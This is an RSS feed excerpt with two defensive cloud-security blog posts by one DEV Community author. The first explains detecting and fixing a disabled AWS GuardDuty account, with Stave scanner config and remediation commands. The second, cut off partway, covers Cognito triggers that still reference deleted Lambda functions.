<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bala Paranj</title>
    <description>The latest articles on DEV Community by Bala Paranj (@bala_paranj_059d338e44e7e).</description>
    <link>https://dev.to/bala_paranj_059d338e44e7e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3862804%2F7ea6c560-63cb-4daf-a713-450532280b0a.jpg</url>
      <title>DEV Community: Bala Paranj</title>
      <link>https://dev.to/bala_paranj_059d338e44e7e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bala_paranj_059d338e44e7e"/>
    <language>en</language>
    <item>
      <title>The Detection Layer That Was Quietly Off: GuardDuty Disabled on an AWS Account</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Wed, 16 Sep 2026 12:02:30 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/the-detection-layer-that-was-quietly-off-guardduty-disabled-on-an-aws-account-45d8</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/the-detection-layer-that-was-quietly-off-guardduty-disabled-on-an-aws-account-45d8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A researcher looked at an AWS account and asked a question most don't run as part of a configuration audit: &lt;em&gt;is the threat-detection layer actually on?&lt;/em&gt; CloudTrail was logging. CloudWatch metric filters were watching for unauthorised API calls. The SNS topic was wired up. But GuardDuty was disabled. This layer correlates those logs into "this looks like account compromise".&lt;/p&gt;

&lt;p&gt;This is report &lt;a href="https://hackerone.com/reports/3022516" rel="noopener noreferrer"&gt;HackerOne #3022516&lt;/a&gt;. The cost of the fix is one CLI call. The cost of operating without it is invisible until the day something goes wrong, at that point the absence of GuardDuty is the difference between an alert that arrives and an alert that never arrives.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the configuration looked like
&lt;/h2&gt;

&lt;p&gt;The misconfiguration is the kind a scanner finds boring because nothing is wrong with the resources you have. The wrong thing is the resource you don't have.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"audit_trail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"trail"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"multi_region_enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"monitoring"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"account"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"metric_filters"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"unauthorized_api_calls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"exists"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"alarms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"unauthorized_api_calls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"exists"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"sns_topic_arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:sns:us-east-1:123456789012:security-alerts"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"threat_detection"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CloudTrail: multi-region, ✓ &lt;br&gt;
Metric filter: present, ✓&lt;br&gt;
Alarm with SNS topic: configured, ✓ &lt;br&gt;
GuardDuty: off&lt;/p&gt;

&lt;p&gt;The first three lull every checklist scanner into reporting a good account. The fourth is invisible to dashboards that only check the resources you've already created.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why the layers matter together
&lt;/h2&gt;

&lt;p&gt;The detection stack on AWS is composed, not redundant. CloudTrail records what happened. CloudWatch metric filters surface specific patterns in those records. GuardDuty is the one that asks "do the records, together, look like reconnaissance, instance compromise, or credential abuse?" The three layers each do something the others can't:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CloudTrail alone&lt;/strong&gt; gives you a haystack. Every API call across every service. Storage and retention, but no signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CloudWatch metric filters&lt;/strong&gt; are pattern matches. They catch the purpose of the filter you wrote. A new attack technique that fires a different API call passes through.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GuardDuty&lt;/strong&gt; is the behavioural layer. It correlates VPC Flow Logs + CloudTrail + DNS query logs against known-bad indicators and statistical baselines. It detects the patterns the metric filter author didn't think to write.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When GuardDuty is off, the first two layers are recording without anyone watching. The audit trail will help you write the post-mortem many months after the breach, when you finally know to look. It will not help you catch the breach in progress.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why a scanner misses this
&lt;/h2&gt;

&lt;p&gt;Checklist scanners check resources. They iterate through your S3 buckets, IAM roles, security groups and CloudTrails. Each resource gets evaluated. Each setting on each resource gets flagged.&lt;/p&gt;

&lt;p&gt;GuardDuty's disabled state is not a setting on a resource. It's the &lt;em&gt;absence&lt;/em&gt; of a resource. In AWS terms, you have not created a &lt;code&gt;aws_guardduty_detector&lt;/code&gt;. There is nothing for the scanner to iterate over. The scan completes successfully. The dashboard turns green. The detection layer is off.&lt;/p&gt;

&lt;p&gt;This is the same shape as the no logging gap and the no backups gap: a scanner that only looks at what exists cannot tell you what should exist but doesn't. The correct question is "does the account have a detector?" A presence check, not an attribute check. Most CSPM tools added detector-presence rules eventually, but they are special-case logic, not the default scanner shape.&lt;/p&gt;
&lt;h2&gt;
  
  
  The system invariant
&lt;/h2&gt;

&lt;p&gt;The invariant:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;An AWS account must have GuardDuty enabled with at least one detector.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the entire control. The cost of enforcing it is one boolean check per account per snapshot. The cost of not enforcing it is invisible until something fires that GuardDuty would have caught.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Stave models
&lt;/h2&gt;

&lt;p&gt;Stave projects the account asset with three sub-blocks: &lt;code&gt;audit_trail&lt;/code&gt; (CloudTrail), &lt;code&gt;monitoring&lt;/code&gt; (CloudWatch metric filters + alarms), and &lt;code&gt;threat_detection&lt;/code&gt; (GuardDuty). Three independent presence checks, three independent controls.&lt;/p&gt;

&lt;p&gt;The GuardDuty control is small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CTL.GUARDDUTY.ENABLED.001&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Amazon GuardDuty Must Be Enabled&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;compliance&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;soc2&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CC7.1"&lt;/span&gt;
  &lt;span class="na"&gt;pci_dss_v4.0&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;5.2"&lt;/span&gt;
  &lt;span class="na"&gt;nist_800_53_r5&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SI-3"&lt;/span&gt;
  &lt;span class="na"&gt;iso_27001_2022&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A.8.16"&lt;/span&gt;
&lt;span class="na"&gt;unsafe_predicate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.threat_detection.enabled&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;attack_stage: detection_evasion&lt;/code&gt; in the params block tells the chain engine that this control's failure is in the "blinding the defender" lane. The same lane as &lt;code&gt;CTL.CLOUDTRAIL.ENABLED.001&lt;/code&gt; and &lt;code&gt;CTL.CLOUDWATCH.MONITOR.UNAUTH.001&lt;/code&gt;. When two or three of these fire together, the chain engine produces a compound finding: the account has multiple detection layers off at the same time, which is the precondition for "we got breached and nobody saw it."&lt;/p&gt;

&lt;h2&gt;
  
  
  The finding
&lt;/h2&gt;

&lt;p&gt;Run the fixture:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;stave &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make build

&lt;span class="c"&gt;# The fixture ships two snapshots (T1 unsafe, T2 remediated). Evaluate the T1&lt;/span&gt;
&lt;span class="c"&gt;# snapshot in isolation to see the finding the report describes; remove T1&lt;/span&gt;
&lt;span class="c"&gt;# from the temp dir below to see the remediated state produce zero findings.&lt;/span&gt;
&lt;span class="nv"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;cp &lt;/span&gt;testdata/e2e/e2e-h1-aws-3022516/observations/2025-03-04T000000Z.json &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$tmp&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;

./stave apply &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--controls&lt;/span&gt; testdata/e2e/e2e-h1-aws-3022516/controls &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--observations&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$tmp&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--max-unsafe&lt;/span&gt; 168h &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--eval-time&lt;/span&gt; 2025-03-15T00:00:00Z &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--allow-unknown-input&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--format&lt;/span&gt; json | jq &lt;span class="s1"&gt;'.findings[0]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"control_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CTL.GUARDDUTY.ENABLED.001"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"control_severity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"high"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"asset_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"acct-123456789012"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"evidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"misconfigurations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"property"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"threat_detection.enabled"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"actual_value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"operator"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eq"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"unsafe_value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"remediation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GuardDuty is not enabled. Threats are not being detected."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Enable GuardDuty: aws guardduty create-detector --enable"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;actual_value: false&lt;/code&gt; against &lt;code&gt;unsafe_value: false&lt;/code&gt; — a one-field finding that names the property and the command to flip it. No ambiguity, severity-vs-likelihood debate or human-in-the-loop interpretation required.&lt;/p&gt;

&lt;h2&gt;
  
  
  The remediation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws guardduty create-detector &lt;span class="nt"&gt;--enable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For an Organization-wide rollout, delegate GuardDuty administration once and enable for every member account through the delegated admin. The cost of enabling GuardDuty is the cost of the events it processes. Typically tens of dollars per account per month which is also the cost of having visibility into account compromise. Most organisations have already paid more than that in CloudTrail storage they aren't actively reading.&lt;/p&gt;

&lt;p&gt;The preventive control is a Config Rule (or SCP, or AWS Organizations central-policy) that asserts every member account in the organisation has at least one active detector. The same rule, expressed as a Stave invariant, runs across every snapshot and produces a deterministic verdict at every snapshot timestamp.&lt;/p&gt;

&lt;h2&gt;
  
  
  The verification
&lt;/h2&gt;

&lt;p&gt;After enabling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws guardduty list-detectors &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'DetectorIds[0]'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The detector ID is the proof of presence. Snapshot the account again; re-run &lt;code&gt;stave apply&lt;/code&gt;; the finding disappears. The verification is the same shape as the detection. Both run against the same fact base, both produce the same deterministic verdict.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this case generalises
&lt;/h2&gt;

&lt;p&gt;Most cloud security tooling is shaped around "what's wrong with the things you have." That bias misses an entire class of findings shaped around "what's missing from what you should have." GuardDuty disabled is one example. CloudWatch metric filter for unauthorised API calls absent is another. CloudTrail trail not multi-region is a third.&lt;/p&gt;

&lt;p&gt;The unifying invariant is presence:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;For every detective control your security program assumes, the resource that implements it must exist.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Stave checks this with three controls that share the same &lt;code&gt;attack_stage: detection_evasion&lt;/code&gt; tag, so the chain engine surfaces the compound finding when more than one is true. The HackerOne report named one disabled layer. The compound case where two or three disabled at once is the breach scenario that costs $300M and takes nine months to detect.&lt;/p&gt;

&lt;p&gt;The fixture for this report is &lt;code&gt;testdata/e2e/e2e-h1-aws-3022516/&lt;/code&gt; in the Stave repo. The control library that catches it is at &lt;code&gt;stave/controls/guardduty/&lt;/code&gt;. The cost of running both, on every snapshot, in CI, with deterministic output, is almost zero.&lt;/p&gt;

&lt;h2&gt;
  
  
  How this relates to existing compliance mods
&lt;/h2&gt;

&lt;p&gt;Framework-coverage tools like &lt;a href="https://hub.powerpipe.io/mods/turbot/aws_compliance" rel="noopener noreferrer"&gt;&lt;code&gt;turbot/steampipe-mod-aws-compliance&lt;/code&gt;&lt;/a&gt; check GuardDuty's configuration thoroughly when it's enabled such as detector retention, finding-publishing frequency, S3 protection, EKS audit-log protection, all enumerated against CIS and AWS Foundational Security Best Practices benchmarks. What no per-resource framework check models well is the &lt;em&gt;presence&lt;/em&gt; invariant: across every member account in the organization, does at least one active detector exist? Stave's three &lt;code&gt;attack_stage: detection_evasion&lt;/code&gt; controls compose via the chain engine into the compound finding the H1 report describes. The moment two or three detection layers go dark together is when the breach window opens. Different shape, different tool; both run in Powerpipe side by side. The comparison is at&lt;br&gt;
&lt;a href="https://github.com/sufield/stave/blob/main/docs/comparison/aws-compliance-mod.md" rel="noopener noreferrer"&gt;aws-compliance-mod&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cloud</category>
      <category>appsec</category>
    </item>
    <item>
      <title>The Lambda Trigger You Deleted is Still Authenticating Users</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Tue, 15 Sep 2026 09:43:59 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/the-lambda-trigger-you-deleted-is-still-authenticating-users-j19</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/the-lambda-trigger-you-deleted-is-still-authenticating-users-j19</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You deleted a Lambda function six months ago. The code is gone. The CloudWatch logs stopped. The function doesn't appear in the Lambda console.&lt;/p&gt;

&lt;p&gt;But the Cognito user pool still references it. Every authentication attempt invokes a trigger that points to a function that doesn't exist. Depending on which trigger it is, the result ranges from silent authentication failures to bypassed validation logic.&lt;/p&gt;

&lt;p&gt;Your scanner doesn't flag this. The Lambda check says "function doesn't exist" (correct, you deleted it). The Cognito check says "trigger is configured" (correct, the reference was never cleaned up). Neither check connects the two facts: the trigger points to nothing.&lt;/p&gt;

&lt;p&gt;That's a ghost reference. It's breaking your authentication flow right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ghost References
&lt;/h2&gt;

&lt;p&gt;A ghost reference is a configuration that points to a resource that no longer exists. The pointer remains after the target is deleted. AWS doesn't clean up cross-service references automatically. That's the customer's responsibility under the shared responsibility model.&lt;/p&gt;

&lt;p&gt;Ghost references are everywhere in cloud infrastructure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Cognito user pool trigger pointing to a deleted Lambda function&lt;/li&gt;
&lt;li&gt;An S3 event notification targeting a deleted SNS topic&lt;/li&gt;
&lt;li&gt;An API Gateway integration pointing to a deleted Lambda&lt;/li&gt;
&lt;li&gt;A CloudWatch alarm sending to a deleted SNS subscription&lt;/li&gt;
&lt;li&gt;A Route 53 CNAME pointing to a decommissioned S3 bucket&lt;/li&gt;
&lt;li&gt;An IAM role trust policy allowing a deleted account to assume it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each one is a configuration that references something that isn't there. The reference isn't invalid in the syntactic sense. The ARN is well-formed, the configuration passes schema validation. It's invalid in the semantic sense. The target doesn't exist, so the reference does nothing, does the wrong thing, or creates a security gap.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cognito triggers and what happens when they're ghosts
&lt;/h2&gt;

&lt;p&gt;Cognito user pools support Lambda triggers at multiple points in the authentication flow:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Trigger&lt;/th&gt;
&lt;th&gt;When it fires&lt;/th&gt;
&lt;th&gt;What a ghost does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pre Sign-up&lt;/td&gt;
&lt;td&gt;Before a new user is registered&lt;/td&gt;
&lt;td&gt;Ghost: registration proceeds without custom validation. Blocked users can register.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pre Authentication&lt;/td&gt;
&lt;td&gt;Before credentials are verified&lt;/td&gt;
&lt;td&gt;Ghost: authentication proceeds without custom checks. IP blocklists, risk scoring, device validation are skipped.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post Authentication&lt;/td&gt;
&lt;td&gt;After successful login&lt;/td&gt;
&lt;td&gt;Ghost: audit logging, session enrichment, and downstream notifications don't fire. Login succeeds but nobody knows.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom Message&lt;/td&gt;
&lt;td&gt;When Cognito sends email/SMS&lt;/td&gt;
&lt;td&gt;Ghost: messages fail silently or use default templates that may lack required compliance text.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pre Token Generation&lt;/td&gt;
&lt;td&gt;Before tokens are issued&lt;/td&gt;
&lt;td&gt;Ghost: custom claims aren't added to tokens. Downstream services that check custom claims may fail or grant wrong access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post Confirmation&lt;/td&gt;
&lt;td&gt;After email/phone verification&lt;/td&gt;
&lt;td&gt;Ghost: onboarding workflows don't execute. New users exist but aren't provisioned in downstream systems.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Define Auth Challenge&lt;/td&gt;
&lt;td&gt;For custom auth flows&lt;/td&gt;
&lt;td&gt;Ghost: custom auth flow breaks. Users can't authenticate through the custom path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create Auth Challenge&lt;/td&gt;
&lt;td&gt;For custom auth flows&lt;/td&gt;
&lt;td&gt;Ghost: same as above. Custom challenges can't be created.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify Auth Challenge&lt;/td&gt;
&lt;td&gt;For custom auth flows&lt;/td&gt;
&lt;td&gt;Ghost: challenge responses can't be verified. Either authentication fails or falls back to a less secure path.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The Pre Sign-up and Pre Authentication ghosts are the most dangerous. A deleted Pre Sign-up trigger means every registration validation rule you implemented in that Lambda such as email domain restrictions, blocklist checks, CAPTCHA verification is gone. Users your validation would have blocked can now register freely.&lt;/p&gt;

&lt;p&gt;A deleted Pre Authentication trigger means every login-time check such as IP reputation, device fingerprinting, concurrent session limits, brute-force detection is gone. The authentication succeeds without any of the custom security logic you built.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this happens
&lt;/h2&gt;

&lt;p&gt;Lambda functions get deleted for legitimate reasons:&lt;/p&gt;

